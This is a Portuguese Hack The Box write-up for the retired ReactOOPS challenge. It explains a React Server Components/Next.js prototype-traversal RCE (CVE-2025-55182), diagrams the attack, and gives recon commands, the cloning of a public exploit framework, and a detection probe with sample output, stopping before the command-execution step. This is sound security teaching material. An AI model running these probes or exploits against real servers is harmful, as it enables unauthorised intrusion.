Writeup do Hack The Box para o desafio aposentado ReactOOPS - Solução completa e guia educacional para CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Inclui análise detalhada de vulnerabilidades, técnicas de exploração e materiais de aprendizado para a equipe.
Autor: TheStingR - Team ISP1337Hackers
Desafio: ReactOOPS (Web)
Plataforma: Hack The Box
Dificuldade: Muito Fácil - Aposentado
Data de Resolução: 13 de dezembro de 2025
ReactOOPS é um desafio web que explora CVE-2025-55182 / CVE-2025-66478, uma vulnerabilidade crítica de Execução Remota de Código não autenticada em React Server Components e no App Router do Next.js.
Principais Descobertas:
hasOwnProperty ausente na desserialização do protocolo FlightO desafio apresenta uma aplicação Next.js refinada executando a interface de assistente da NexusAI. A aplicação parece lidar com a entrada do usuário por meio de React Server Components, mas pequenas falhas na camada reativa sugerem vulnerabilidades subjacentes.
A aplicação usa:
O protocolo Flight é o formato de serialização proprietário do React para transmitir dados entre servidor e cliente em arquiteturas de Server Components. Ele usa referências como:
$1 - Referência ao objeto na posição 1$1:path:to:value - Travessia de caminho de propriedadeCódigo Vulnerável em ReactFlightReplyServer.js do React:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
A Versão Segura (Como Deveria Ser):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Sem a verificação de hasOwnProperty, um atacante pode percorrer:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
A vulnerabilidade existe antes da validação do Next-Action:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
Ao acionar RCE durante a desserialização, os atacantes contornam todas as verificações de segurança no nível da ação.
# Test if service is responding
curl -v http://<IP>:PORT/
Esperado: Aplicação Next.js servindo HTML com RSC habilitado
Procure por indicadores:
next-<script type="text/x-component">.nextO indicador mais confiável é tentar um ataque de poluição de protótipo e observar a resposta:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
Objetivo: Confirmar que o servidor está vulnerável sem causar danos
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
O Que Ela Faz:
Next-Action: x["$1:a:a"] referenciando o objeto vazio {}{}.a.aSaída Esperada:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Interpretação:
E{"digest" na resposta: ✅ Formato de tratamento de erros do ReactObjetivo: Verificar a execução arbitrária de comandos